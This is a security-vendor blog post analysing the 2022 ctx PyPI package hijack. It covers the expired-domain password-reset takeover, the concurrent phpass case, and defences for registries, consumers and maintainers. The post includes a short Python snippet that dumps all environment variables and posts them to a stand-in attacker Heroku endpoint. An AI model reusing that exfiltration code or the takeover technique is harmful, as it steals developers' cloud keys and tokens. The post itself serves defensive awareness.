Supply Chain Attacks

PyPI Supply Chain Attacks: The ctx Package Compromise

The ctx package on PyPI was hijacked to steal environment variables from developer machines. The attack exploited an expired domain to take over a maintainer account — a novel and repeatable technique.

Shadab Khan
Threat Intelligence
5 min read

In May 2022, a security researcher discovered that the popular Python package ctx had been modified to steal environment variables from every developer who installed it. The ctx package, a small utility for dictionary attribute access, had approximately 22,000 monthly downloads. The attacker had not compromised the maintainer's account through phishing or credential stuffing — they had registered the maintainer's expired email domain and used it to reset the PyPI account password.

The Attack Chain

The ctx package compromise was notable for its simplicity and the novel technique used to gain publish access:

Step 1: Domain Expiration Discovery

The attacker identified that the domain associated with the original maintainer's email address had expired and was available for registration. The maintainer had registered their PyPI account with an email like maintainer@example-domain.com, and that domain was no longer owned by anyone.

Step 2: Domain Registration

The attacker registered the expired domain, giving them control over all email addresses at that domain.

Step 3: Password Reset

With control of the email domain, the attacker initiated a password reset for the PyPI account. The reset email was delivered to the attacker-controlled mailbox. They used it to set a new password and gain full control of the maintainer account.

Step 4: Malicious Update

The attacker published a new version of ctx (0.2.6) containing code that harvested environment variables and exfiltrated them to an attacker-controlled Heroku endpoint:

import os
import requests

# Collect all environment variables
env_data = {k: v for k, v in os.environ.items()}

# Exfiltrate to attacker's server
requests.post(
    'https://attacker-endpoint.herokuapp.com/upload',
    json=env_data
)

Environment variables on developer machines and CI/CD systems commonly contain AWS keys, API tokens, database passwords, and other secrets. This single function call could compromise an entire organization's cloud infrastructure.

Step 5: Discovery

Security researcher Somdev Sangwan identified the malicious code and published his findings, triggering removal of the compromised version from PyPI.

A Concurrent Attack: phpass

The same technique was used around the same time against the PHP package phpass on Packagist. The attacker registered the expired domain of the maintainer's email, reset the Packagist account password, and published a malicious version. This confirmed that the technique was not package-specific but a systemic risk across any registry that uses email-based authentication.

Why This Attack Matters

The Expired Domain Problem Is Widespread

How many open source maintainers have registered accounts with email addresses on domains they no longer control? The answer is: a lot. Developers change jobs, let personal domains expire, and abandon old email addresses. If their package registry accounts are still active and tied to those emails, those accounts are vulnerable.

This is not a theoretical risk. Researchers who analyzed PyPI maintainer email domains found hundreds of accounts tied to expired or available domains.

PyPI Lacked 2FA Enforcement

At the time of the ctx compromise, PyPI did not require two-factor authentication for package publishing. An account protected only by a password could be taken over through email-based password reset. PyPI had been working toward mandatory 2FA for critical projects, but enforcement was not yet in place.

Environment Variables Are a Rich Target

The attack targeted environment variables because they are the de facto standard for injecting secrets into applications and CI/CD pipelines. A single os.environ dump can yield:

  • AWS access keys and secret keys
  • GitHub personal access tokens
  • Database connection strings with credentials
  • API keys for third-party services
  • CI/CD system tokens with deployment access

The Broader PyPI Landscape

The ctx compromise was part of a broader trend of PyPI supply chain attacks in 2022:

Typosquatting surged. Researchers from Sonatype, Snyk, and Checkmarx reported hundreds of malicious packages on PyPI using names similar to popular packages. Common targets included requests, beautifulsoup4, urllib3, and colorama.

Malicious packages grew more sophisticated. Early PyPI malware was often crude — a single setup.py that ran a curl command. By mid-2022, attackers were using multi-stage payloads, obfuscation, and conditional execution that only triggered in CI/CD environments.

The Python ecosystem responded. PyPI began requiring 2FA for maintainers of the top 1% of packages (by download count). The Packaging Working Group accelerated work on trusted publishers, which would tie package publishing to verified CI/CD pipelines rather than individual user accounts.

Defensive Measures

For Package Registries

  1. Enforce 2FA for all accounts with publish access
  2. Detect expired email domains and proactively lock affected accounts
  3. Support hardware security keys for the highest-value accounts
  4. Implement trusted publishers to bind publishing to CI/CD identity rather than user identity

For Package Consumers

  1. Pin dependency versions and audit changes to lockfiles:

    # requirements.txt with pinned versions and hashes
    ctx==0.2.2 --hash=sha256:abc123...
    
  2. Use hash verification to ensure downloaded packages match expected contents:

    pip install --require-hashes -r requirements.txt
    
  3. Monitor for suspicious updates to your dependencies — sudden new releases from packages that have not been updated in years are a red flag

  4. Scan environment variables in CI/CD for exfiltration attempts. Network egress monitoring can detect when a build process sends data to unexpected hosts

For Maintainers

  1. Enable 2FA on all package registry accounts
  2. Use email addresses you control — do not register with a company email you might lose access to
  3. Audit your account recovery options regularly
  4. Consider using organization accounts rather than personal accounts for package publishing

How Safeguard.sh Helps

Safeguard.sh monitors PyPI and other package registries for compromised packages, maintainer account anomalies, and suspicious update patterns. When a package like ctx is flagged as malicious, our platform immediately identifies every project in your organization that depends on it and alerts your security team. Our continuous monitoring tracks maintainer activity patterns, flagging sudden updates to dormant packages that may indicate account takeover.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.